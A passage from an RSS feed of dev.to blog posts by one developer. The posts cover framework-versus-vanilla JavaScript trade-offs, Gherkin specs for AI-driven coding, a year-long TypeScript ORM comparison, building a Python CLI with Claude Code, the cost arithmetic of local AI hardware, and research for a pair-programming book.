  
  
  Appendix: Anticipated Questions (FAQ)
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;Q: The hiring argument seems backwards — job boards show far more framework roles than vanilla roles.&lt;/strong&gt;&lt;br&gt;
A: Job postings measure employer demand for dialects, not the supply of capable engineers. The claim here is about supply at the skill floor: everyone writing those framework apps knows JavaScript and the DOM underneath. Going vanilla widens your funnel to the union of all camps; the postings only tell you most employers haven't noticed.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Won't AI tools get good enough at frameworks that Pillar Three evaporates?&lt;/strong&gt;&lt;br&gt;
A: Models will improve at everything, but the framework penalty is structural, not capability-based: training corpora lag a moving target, and convention-heavy correctness is harder to verify than specification-backed correctness. A better model narrows the gap per task while framework churn re-widens it. Stability is the moat, and only the platform has it.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: Isn't "autonomous cells coordinated by events" just microservices on the frontend, with all the same distributed-system pain?&lt;/strong&gt;&lt;br&gt;
A: It shares the virtue — independent evolvability — without the worst costs: no network between components, synchronous composition, and a standardized integration layer (the DOM) that nobody has to build or operate. The genuine analogous cost, designing cross-cutting state deliberately, is acknowledged in Pillar Four and should be budgeted, not discovered.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: If platform TCO is so superior, why do new projects keep choosing frameworks?&lt;/strong&gt;&lt;br&gt;
A: Because most projects rationally optimize time-to-first-ship on a short horizon, and frameworks win that race. The argument here is about years five through fifteen of an application's life, where the curves invert. Different phase, different optimum — and most TCO discussions never get past phase one.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Q: What single metric tells a team in a year whether this was right?&lt;/strong&gt;&lt;br&gt;
A: Fully-loaded cost per shipped change on converted surfaces versus unconverted ones — inclusive of review time and AI-assist acceptance rates. If converted surfaces aren't cheaper to change within a couple of quarters, the two-way door is right there.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>javascript</category>
      <category>tco</category>
      <category>webdev</category>
    </item>
    <item>
      <title>It's Time We All Eat some more Cucumber!</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 08 Jun 2026 09:22:09 +0000</pubDate>
      <link>https://dev.to/sebs/its-time-we-all-eat-some-cucumber-16ic</link>
      <guid>https://dev.to/sebs/its-time-we-all-eat-some-cucumber-16ic</guid>
      <description>&lt;p&gt;Everyone's writing specs for AI now. We hand the model a markdown file, tell it what we want, and hope it builds the right thing. It mostly works — until it doesn't.&lt;/p&gt;

&lt;p&gt;Markdown has quietly become the spec language. People reach for it as the DSL for their AI-driven workflows — headings, bullet lists, the odd table — and treat that loose structure as if it were a contract. The thing is, it isn't a DSL. It's markdown. It's prose formatting with no grammar to enforce, no structure you can execute, no shared vocabulary, and no way to tell whether the spec and the code still agree. You're leaning on a document format to do a job it was never built for, and you hit the limit the moment you want the spec to actually &lt;em&gt;mean&lt;/em&gt; something a machine can check.&lt;/p&gt;

&lt;p&gt;Before you go down that road, I want to make a small, slightly absurd suggestion.&lt;/p&gt;

&lt;p&gt;Eat a cucumber.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I actually mean
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://cucumber.io/docs/gherkin/" rel="noopener noreferrer"&gt;Gherkin&lt;/a&gt; is the plain-text language behind &lt;a href="https://cucumber.io/" rel="noopener noreferrer"&gt;Cucumber&lt;/a&gt;, a tool that's been around for years in the behavior-driven development (BDD) world. It looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight gherkin"&gt;&lt;code&gt;&lt;span class="kd"&gt;Feature&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; User login

  &lt;span class="kn"&gt;Scenario&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; Successful login with valid credentials
    &lt;span class="nf"&gt;Given &lt;/span&gt;a registered user &lt;span class="s"&gt;"ada@example.com"&lt;/span&gt;
    &lt;span class="nf"&gt;When &lt;/span&gt;she logs in with the correct password
    &lt;span class="nf"&gt;Then &lt;/span&gt;she should land on her dashboard
    &lt;span class="nf"&gt;And &lt;/span&gt;she should see a welcome message

  &lt;span class="kn"&gt;Scenario&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; Rejected login with wrong password
    &lt;span class="nf"&gt;Given &lt;/span&gt;a registered user &lt;span class="s"&gt;"ada@example.com"&lt;/span&gt;
    &lt;span class="nf"&gt;When &lt;/span&gt;she logs in with an incorrect password
    &lt;span class="nf"&gt;Then &lt;/span&gt;she should see an &lt;span class="s"&gt;"invalid credentials"&lt;/span&gt; error
    &lt;span class="nf"&gt;And &lt;/span&gt;she should remain on the login page
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That's it. &lt;code&gt;Feature&lt;/code&gt;, &lt;code&gt;Scenario&lt;/code&gt;, &lt;code&gt;Given&lt;/code&gt;/&lt;code&gt;When&lt;/code&gt;/&lt;code&gt;Then&lt;/code&gt;. Structured enough that a machine can parse it, loose enough that a product manager can write it.&lt;/p&gt;

&lt;h2&gt;
  
  
  The gap it bridges
&lt;/h2&gt;

&lt;p&gt;Most specs live at one of two extremes.&lt;/p&gt;

&lt;p&gt;On one end you have &lt;strong&gt;written specs&lt;/strong&gt;: docs, tickets, markdown files. Readable by anyone, but inert. Nothing checks whether they're still true. They rot the moment the code moves on.&lt;/p&gt;

&lt;p&gt;On the other end you have &lt;strong&gt;tests&lt;/strong&gt;: precise, executable, always honest — but written in code, illegible to half the people who actually care about the behavior.&lt;/p&gt;

&lt;p&gt;Gherkin sits in the middle. It's prose with just enough skeleton that you can wire each &lt;code&gt;Given&lt;/code&gt;/&lt;code&gt;When&lt;/code&gt;/&lt;code&gt;Then&lt;/code&gt; step to real code. The same file is both the human-readable spec &lt;em&gt;and&lt;/em&gt; the thing your test runner executes. When the behavior changes, the scenario fails. The spec can't quietly drift away from reality, because the spec &lt;em&gt;is&lt;/em&gt; the check.&lt;/p&gt;

&lt;p&gt;That's what people mean by "living specs": documentation that can't lie to you because it runs.&lt;/p&gt;

&lt;h2&gt;
  
  
  The signals you've outgrown markdown
&lt;/h2&gt;

&lt;p&gt;You don't switch formats on principle. You switch when the document starts straining against what it can express. Three signals tell you you're there.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When the markdown gets too specific.&lt;/strong&gt; A spec starts as a paragraph of intent. Then someone adds a bullet for the edge case, then a sub-bullet for the exception to the edge case, then a parenthetical for what happens on a leap year. The prose is now pretending to be a state machine. Each of those specifics is really a &lt;em&gt;scenario&lt;/em&gt; — a concrete given/when/then — and markdown gives you no way to mark it as one, let alone check it. Gherkin does: every specific behavior becomes its own named scenario you can point at, run, and reason about in isolation.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When tables of example data start to appear.&lt;/strong&gt; This is the clearest tell. The moment your spec contains a table — input A gives output X, input B gives output Y — you've stopped describing behavior and started enumerating cases. A markdown table just &lt;em&gt;sits&lt;/em&gt; there; nothing verifies that row three is still true. Gherkin has this built in with &lt;code&gt;Scenario Outline&lt;/code&gt; and &lt;code&gt;Examples&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight gherkin"&gt;&lt;code&gt;&lt;span class="kn"&gt;Scenario Outline&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; Discount applied by tier
  &lt;span class="nf"&gt;Given &lt;/span&gt;a customer on the &lt;span class="s"&gt;"&amp;lt;tier&amp;gt;"&lt;/span&gt; plan
  &lt;span class="nf"&gt;When &lt;/span&gt;they check out with a cart total of &lt;span class="nv"&gt;&amp;lt;total&amp;gt;&lt;/span&gt;
  &lt;span class="nf"&gt;Then &lt;/span&gt;the discount applied should be &lt;span class="nv"&gt;&amp;lt;discount&amp;gt;&lt;/span&gt;

  &lt;span class="nn"&gt;Examples&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;tier&lt;/span&gt;    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;total&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="nv"&gt;discount&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;free&lt;/span&gt;    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;100&lt;/span&gt;   &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;0&lt;/span&gt;        &lt;span class="p"&gt;|&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;pro&lt;/span&gt;     &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;100&lt;/span&gt;   &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;10&lt;/span&gt;       &lt;span class="p"&gt;|&lt;/span&gt;
    &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;premium&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;100&lt;/span&gt;   &lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="n"&gt;25&lt;/span&gt;       &lt;span class="p"&gt;|&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Same readable table — except every row is now an executable test case. Add a row, you've added a test. The data table &lt;em&gt;is&lt;/em&gt; the spec.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;When requirements are subject to change and re-evaluation.&lt;/strong&gt; If a requirement will never move, a comment in the code is fine. The cost of a living spec only pays off when things change — and AI-driven work changes constantly. When a rule shifts, you want one place to edit that immediately tells you what broke. With markdown, you change the prose and hope someone updates the code to match; nothing flags the drift. With Gherkin, you change the scenario, run it, and the failures show you exactly where reality no longer agrees. The spec becomes the thing you re-evaluate against, not a stale artifact you forget to update.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why this matters for AI work
&lt;/h2&gt;

&lt;p&gt;If you're feeding specs to an LLM to generate or verify code, Gherkin gives you three things a freeform markdown file doesn't:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;A fixed grammar.&lt;/strong&gt; The model doesn't have to guess your invented structure. Gherkin's vocabulary is small, well-documented, and almost certainly already in the model's training data.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Executable acceptance criteria.&lt;/strong&gt; The AI can generate code &lt;em&gt;and&lt;/em&gt; you can immediately run the scenarios to see if it actually did the job — no human re-reading the markdown to judge.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A round trip.&lt;/strong&gt; You can ask the model to write scenarios from a description, write code from scenarios, or check that existing code satisfies them. Each direction has a clear, checkable artifact.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;You get the readability you wanted from markdown, plus a definition of "done" that a machine can enforce.&lt;/p&gt;

&lt;h2&gt;
  
  
  Start small
&lt;/h2&gt;

&lt;p&gt;You don't need to adopt all of BDD or restructure your team. Take one feature you're about to spec for your AI tooling and write it as a &lt;code&gt;.feature&lt;/code&gt; file instead of a markdown blob. See how it feels to have the spec and the test be the same document.&lt;/p&gt;

&lt;p&gt;You're already using a document format as a spec language. This one was actually built to be one — it already exists, already has tooling in every major language, and already solved the problem markdown keeps quietly failing at.&lt;/p&gt;

&lt;p&gt;So: put the markdown back where it belongs. Eat the cucumber.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>tdd</category>
      <category>bdd</category>
      <category>darkfactory</category>
    </item>
    <item>
      <title>Let the ORM fight begin!</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Tue, 28 Apr 2026 17:23:24 +0000</pubDate>
      <link>https://dev.to/sebs/let-the-orm-fight-begin-392e</link>
      <guid>https://dev.to/sebs/let-the-orm-fight-begin-392e</guid>
      <description>&lt;p&gt;Every few months, a new round of "which TypeScript ORM should we use?" breaks out — on team chats, on Hacker News, in conference hallways. The arguments rhyme: Prisma is too heavy, Drizzle is too new, TypeORM is too legacy, Sequelize is too JavaScript-y. The evidence cited is usually a benchmark from 2022, a vibes-based blog post, or a single bug someone hit on a Tuesday.&lt;/p&gt;

&lt;p&gt;Got tired of it as well? We're running an experiment!&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://github.com/orm-fight/" rel="noopener noreferrer"&gt;&lt;code&gt;github.com/orm-fight&lt;/code&gt;&lt;/a&gt; is a public GitHub organization where we've started spinning up one project per major TypeScript ORM. Same domain, same test suite, same CI/CD pipeline, same Dependabot configuration. The only thing that changes between projects is the ORM itself.&lt;/p&gt;

&lt;p&gt;The application we're building is a &lt;strong&gt;double-entry bookkeeping&lt;/strong&gt; system. We picked it deliberately: it's a domain with real transactional constraints (debits must equal credits), genuine relationships between tables (accounts, ledgers, entries, postings), and invariants that any ORM worth its npm download has to help you express and enforce. &lt;/p&gt;

&lt;p&gt;Each project has:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;test suite&lt;/strong&gt; built on the Node.js built-in test runner (no Jest, no Vitest — we want to keep the dependency footprint honest).&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;CI pipeline&lt;/strong&gt; that builds &lt;code&gt;main&lt;/code&gt;, runs tests, and pushes artifacts.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Dependabot&lt;/strong&gt; turned on, so every project receives the same upgrade pressure.&lt;/li&gt;
&lt;li&gt;An &lt;strong&gt;SBOM&lt;/strong&gt; generated and stored as a build artifact, so we can track dependency drift over time.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What we want to know
&lt;/h2&gt;

&lt;p&gt;Once these projects have been running for a while — we're aiming for a runtime of about a year — we'll have data on questions that usually get answered with anecdotes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;How do the implementations actually differ?&lt;/strong&gt; It will be interesting to see how the syntax sugar from framework to framework differs - or not. &lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How often do updates land?&lt;/strong&gt; Which ORMs ship steadily, which go quiet, which break things in minor releases.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How many CVEs are reported over time?&lt;/strong&gt; And — more interestingly — how does that propagate to &lt;em&gt;transitive&lt;/em&gt; dependencies? An ORM is rarely a single package; it's a tree.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;How does the dependency graph evolve?&lt;/strong&gt; This is what the SBOMs are for. We want to see the supply chain shape, not just the top-level &lt;code&gt;package.json&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Why we're doing this
&lt;/h2&gt;

&lt;p&gt;Two reasons.&lt;/p&gt;

&lt;p&gt;The first is straightforward: we want &lt;strong&gt;long-term, evidence-based knowledge&lt;/strong&gt; to ground future ORM discussions. To replace "I read somewhere that..." with "here's the data we collected over the last 12 months." Being equally allergic to hype and bullshit bingo: Maybe its time for some a experiment to see what stands out, whats boring (aka ready for prod) and whats surprisingly broken.  &lt;/p&gt;

&lt;p&gt;The second reason is &lt;strong&gt;supply chain security&lt;/strong&gt;. An ORM is one of the most consequential dependencies in a typical Node.js backend. It pulls in database drivers, query builders, connection pools, validation libraries, sometimes a whole code-generation pipeline. The security posture of your app is, in large part, the security posture of your ORM and everything downstream of it. Tracking SBOMs over time, against real CVE data, is a useful thing to &lt;em&gt;practice&lt;/em&gt; — and one of the side effects of this project is that we'll get good at extracting and researching build artifacts.&lt;/p&gt;

&lt;p&gt;We also just want to &lt;strong&gt;write about it as it happens&lt;/strong&gt;. One year is a long time in JavaScript-land. Things will break. Things will improve. Some maintainers will burn out. Some projects will surprise us. That story is worth telling in real time. &lt;/p&gt;

&lt;h2&gt;
  
  
  The contestants
&lt;/h2&gt;

&lt;p&gt;Here are the TypeScript SQL ORMs (and ORM-adjacent tools) we're starting with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Prisma&lt;/strong&gt; — Schema-first with codegen, excellent type safety, migrations built-in. The most popular option, and the one most teams default to.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Drizzle ORM&lt;/strong&gt; — Lightweight, SQL-like query builder, zero runtime overhead, edge-friendly. The newcomer that has eaten a lot of Prisma's mindshare in the last two years.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;TypeORM&lt;/strong&gt; — Decorator-based, supports both Active Record and Data Mapper patterns. Mature, widely deployed, and starting to feel its age.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;MikroORM&lt;/strong&gt; — Data Mapper, Unit of Work, Identity Map. If you've worked with Doctrine or Hibernate, you'll feel at home immediately.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kysely&lt;/strong&gt; — Strictly speaking, a type-safe SQL query builder rather than a full ORM. Included because a lot of teams reach for it instead of an ORM, and we want that comparison on the table.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Sequelize&lt;/strong&gt; — JS-first with TypeScript types added later. Still very common in legacy codebases.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Objection.js&lt;/strong&gt; — Built on Knex, less TS-native but still in production use in a lot of places.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;We may add or drop candidates as we go. If a project is clearly abandoned by month three, it goes. If something interesting shows up, it gets a slot.&lt;/p&gt;

&lt;h2&gt;
  
  
  Follow along
&lt;/h2&gt;

&lt;p&gt;Everything is public from day one — the code, the CI configuration, the SBOMs, the Dependabot history. You can find the organization at:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;a href="https://github.com/orm-fight/" rel="noopener noreferrer"&gt;https://github.com/orm-fight/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I'll be writing here periodically with what we're seeing — early surprises, build breakages, CVE patterns, dependency tree changes, and whatever else turns up that we didn't expect.&lt;/p&gt;

&lt;p&gt;The fight isn't really &lt;em&gt;between&lt;/em&gt; the ORMs. It's between the way we currently choose tools — vibes, recency bias, the loudest voice in the team meeting — and a slower, more boring, more useful alternative: actually watching them over time - create a conclusion from data.&lt;/p&gt;

&lt;p&gt;Let the ORM fight begin.&lt;/p&gt;

</description>
      <category>typescript</category>
      <category>database</category>
      <category>cicd</category>
      <category>experiment</category>
    </item>
    <item>
      <title>From Vibecoding to Vibelaunching: Building the ecosystems-cli</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 20 Apr 2026 18:58:07 +0000</pubDate>
      <link>https://dev.to/sebs/from-vibecoding-to-vibelaunching-building-the-ecosystems-cli-nje</link>
      <guid>https://dev.to/sebs/from-vibecoding-to-vibelaunching-building-the-ecosystems-cli-nje</guid>
      <description>&lt;p&gt;12 months ago I set a goal: ship a production-ready &lt;a href="https://github.com/ecosyste-ms/ecosyste_ms_cli" rel="noopener noreferrer"&gt;CLI&lt;/a&gt; for the ecosyste.ms API, in Python. Some commits later, ecosystems-cli is about to land on PyPI. A deliberate attempt to take LLM-assisted development seriously on something larger than a toy.&lt;/p&gt;

&lt;h2&gt;
  
  
  Why bother
&lt;/h2&gt;

&lt;p&gt;I follow the AI critics and agree there are real risks in LLM-supported development. But criticism grounded only in theory is thin. I wanted more than the same twenty one-trick-pony demos that cycle through LinkedIn every week. So I picked a language I don't work in daily (Python) to reproduce the quintessential vibecoding condition — a little out of my depth — and built something I'd actually use, because we were using ecosyste.ms at work.&lt;/p&gt;

&lt;h2&gt;
  
  
  The setup isn't traditional anymore
&lt;/h2&gt;

&lt;p&gt;The project is developed with Claude Code, but the "setup" has drifted a long way from what that phrase usually implies. My baseline expectation is now, that a coding LLM can follow the Zen of Python and write real tests. From the initially used 'instruction heavy mode', something interesting happens: &lt;strong&gt;over time, the code turns into spec via the unit tests.&lt;/strong&gt; The tests pin behaviour; the code becomes the executable description of that behaviour; and the next change — refactor, rewrite, port — starts from a spec that's already true. These days: no skills, no Claude.md, etc. Plain: open a session and tell the clanker what to do. &lt;/p&gt;

&lt;p&gt;The practical payoff is replayability. I can blow up a module, regenerate it, and the test suite tells me whether I'm back where I was. On larger projects, that's a qualitatively different experience than any setup I've used before.&lt;/p&gt;

&lt;h2&gt;
  
  
  What actually took 10 months
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Work work (Peons, Warcraft II)&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;API client approach.&lt;/strong&gt; Started with an OpenAPI-generated client, abandoned it for a custom implementation, then migrated to a mature third-party library once I understood the domain well enough to evaluate one.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Release pipeline.&lt;/strong&gt; The unglamorous CI/CD grind is where some of the time went.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;17 endpoints + MCP integration.&lt;/strong&gt; Wrapping each endpoint is concrete, bounded work. MCP added another layer.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Python as a second language.&lt;/strong&gt; Syntax is the easy part; idioms, tooling conventions, and ecosystem norms take longer. Early decisions got revisited as my understanding deepened.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Continuous refactoring.&lt;/strong&gt; Fighting unnecessary abstraction is constant. Several designs got simplified once they failed to earn their keep. &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  OpenCollective changed the trajectory
&lt;/h3&gt;

&lt;p&gt;When ecosyste.ms adopted the CLI officially and started funding it via OpenCollective, the project stopped being a side experiment and started being worth finishing properly. It's not keep-the-lights-on money, but it's a meaningful signal — and it bought the time for the boring, essential work: test coverage, documentation, dependency management, a reliable release pipeline. That's the real line between prototype and production.&lt;/p&gt;

&lt;h3&gt;
  
  
  Takeaways
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Be willing to throw out early architecture.&lt;/strong&gt; The generated client → custom → library arc wasn't waste; each step taught the next.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Infrastructure is not optional.&lt;/strong&gt; A serious chunk of any real project is CI/CD, tests, and release plumbing.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Refactoring is continuous.&lt;/strong&gt; Especially with an LLM in the loop — it happily generates abstractions that don't earn their keep unless you push back.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Tests are the spec.&lt;/strong&gt; This is the unlock. If your test suite describes behaviour well, the code underneath becomes replaceable. That's what makes LLM-assisted development work at scale instead of collapsing into spaghetti.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Funding enables quality.&lt;/strong&gt; The non-feature work that separates a tool from a toy doesn't happen on evenings and weekends indefinitely.Thanks to &lt;a href="https://ecosyste.ms" rel="noopener noreferrer"&gt;ecosyste.ms&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Some problems are 'LLM hard'&lt;/strong&gt;: Parameter parsing in such a large app with nuanced differences in underlying API structure - Mission impossible. &lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;The result is a CLI that's functional, maintainable, and ready to be used by people who aren't me. To end up in a 'Instructionless mode' is quite surprising, but surely a result of python leaning to a minimalism that is to be found in 'The Zen of Python'.&lt;/p&gt;

</description>
      <category>vibecoding</category>
      <category>python</category>
      <category>programming</category>
      <category>ai</category>
    </item>
    <item>
      <title>Local AI Will Save Us All (The Math Says So, Trust Me)</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Wed, 15 Apr 2026 14:05:13 +0000</pubDate>
      <link>https://dev.to/sebs/local-ai-will-save-us-all-the-math-says-so-trust-me-4m22</link>
      <guid>https://dev.to/sebs/local-ai-will-save-us-all-the-math-says-so-trust-me-4m22</guid>
      <description>&lt;p&gt;Every few weeks a take goes viral in tech circles making the case for ditching cloud AI and running models locally. The argument is always roughly the same: cloud costs add up, your data is being shipped to American servers of dubious legal standing, and a one-time GPU purchase pays for itself in 18 months. Bold claim. Simple math. Lots of hashtags.&lt;/p&gt;

&lt;p&gt;It deserves a closer look.&lt;/p&gt;

&lt;p&gt;The typical version of this argument runs something like: two RTX PRO 6000 Blackwells, 1,200W draw, six hours a day, €0.32 per kWh — "about €48/month" in electricity. The cards themselves cost around €16,000. Cloud AI, by comparison, runs €100–200 per developer per month. Eight developers, 18 months, done.&lt;/p&gt;

&lt;p&gt;Except the electricity bill is already wrong. &lt;strong&gt;1.2 kW × 6h × 30 days × €0.32 = €69.12.&lt;/strong&gt; Not €48. A 44% error in the opening calculation of an argument whose entire appeal is rigorous arithmetic.&lt;/p&gt;

&lt;p&gt;The break-even math has bigger problems. €100–200/month per developer implies roughly 20 million tokens consumed per person per month. That is not a power user. That is a token foundry. For any team using AI at normal human rates, the break-even slides quietly past two years — by which point the GPU generation is already dated.&lt;/p&gt;

&lt;p&gt;The €16,000 hardware figure also never travels with:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cooling.&lt;/strong&gt; 1,200W sustained is a serious heat load. Office HVAC was not designed for this.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Labor.&lt;/strong&gt; Keeping local model infrastructure running — version management, security patches, prompt compatibility across model updates — is real engineering work that doesn't appear in these spreadsheets.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Hardware failure.&lt;/strong&gt; Cloud providers have SLAs. Your server closet does not.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Noise.&lt;/strong&gt; Two RTX PRO 6000 Blackwells under full load exceed 50 dB — a loud dishwasher, sustained, all day. In a dedicated server room, fine. In a shared office, your colleagues will have opinions.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Availability.&lt;/strong&gt; The RTX PRO 6000 Blackwell is a new, high-demand professional card with constrained supply and multi-week lead times. If one card fails, you are not buying a replacement over the weekend. You wait — potentially a month or more. Keeping a spare sounds prudent; that spare costs another ~€8,000 and is equally hard to source. A single-point-of-failure setup with no redundancy and a six-week replacement window is not infrastructure. It is optimism.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where the Argument Has a Point
&lt;/h2&gt;

&lt;p&gt;Data sovereignty is real. GDPR compliance for third-country data transfers is genuinely complex, vendor terms change, and strategic dependence on external model providers is a risk that tends to get underweighted until it isn't. The upfront capital requirement is the actual barrier for most teams, not the long-run economics.&lt;/p&gt;

&lt;p&gt;But the most important question gets skipped entirely: &lt;strong&gt;is the local model actually as good?&lt;/strong&gt; Two Blackwells with 192GB VRAM can run serious open-weight models — this is not a toy setup. But if developers need two or three attempts to get what a frontier cloud model produces in one, the labour savings evaporate and the break-even never arrives.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Bottom Line
&lt;/h2&gt;

&lt;p&gt;Local AI infrastructure can make sense — for teams with heavy, sensitive workloads, strong in-house ops capability, and the capital to do it properly, including redundancy, cooling, and the realistic assumption that hardware will occasionally fail at inconvenient times.&lt;/p&gt;

&lt;p&gt;What it is not is a simple 18-month arbitrage available to anyone with a GPU and a spreadsheet.&lt;/p&gt;

&lt;p&gt;The sovereignty argument is the strongest card in the deck. Lead with that. The cost argument needs a lot more columns in the spreadsheet before it holds up.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>mba</category>
      <category>operations</category>
    </item>
    <item>
      <title>Down the Rabbit Hole: Building the Reference List for the Pair-Programming Book</title>
      <dc:creator>Sebastian Schürmann</dc:creator>
      <pubDate>Mon, 13 Apr 2026 11:20:07 +0000</pubDate>
      <link>https://dev.to/sebs/down-the-rabbit-hole-building-the-reference-list-for-the-pair-programming-book-367n</link>
      <guid>https://dev.to/sebs/down-the-rabbit-hole-building-the-reference-list-for-the-pair-programming-book-367n</guid>
      <description>&lt;p&gt;There's a particular kind of humbling that happens when you sit down to write a book and realize you need to actually &lt;em&gt;read&lt;/em&gt; the papers you've been casually citing for years.&lt;/p&gt;

&lt;p&gt;That's more or less where I found myself when I started assembling the reference list for the Pair Programming Book. What started as "I'll just gather the key papers" turned into a months-long excavation through decades of software engineering research. The current estimate: somewhere between 250 and 500 relevant papers. And counting.&lt;/p&gt;

&lt;p&gt;Here's what that journey looked like.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Papers You Know But Haven't Read
&lt;/h2&gt;

&lt;p&gt;Every field has its citation folklore — papers so frequently referenced that they've achieved the status of common knowledge without anyone actually opening them. Pair programming research is no exception.&lt;/p&gt;

&lt;p&gt;I had a mental list of "classics" I'd been nodding at for years. Williams et al., 2000. Cockburn and Williams. The early XP studies. I knew their conclusions the way you know the plot of a movie you've never seen — through cultural osmosis, hallway conversations, and abstracts alone.&lt;/p&gt;

&lt;p&gt;Actually reading them was a different experience. Some held up beautifully. Others were more nuanced, more conditional, more &lt;em&gt;contested&lt;/em&gt; than the canonical summary suggested. A few conclusions that had calcified into "everyone knows that pair programming does X" turned out to rest on a single study with 41 undergraduates.&lt;/p&gt;

&lt;p&gt;The lesson: citation chains in a young field are fragile things. You owe it to your readers — and yourself — to go back to the source.&lt;/p&gt;

&lt;h2&gt;
  
  
  Laurie Williams Deserves a Prize
&lt;/h2&gt;

&lt;p&gt;If pair programming research has a GOAT, it is, without question, &lt;strong&gt;Laurie Williams&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The sheer volume of rigorous, foundational work she has produced on the subject is staggering. While others were still debating whether pair programming was a gimmick, Williams was running controlled studies, developing frameworks, and building the empirical case that made the whole conversation possible. Decade after decade.&lt;/p&gt;

&lt;p&gt;Writing this book without her work would be like writing about relativity and hoping Einstein doesn't come up. She doesn't just appear in the bibliography — she &lt;em&gt;is&lt;/em&gt; a substantial portion of it.&lt;/p&gt;

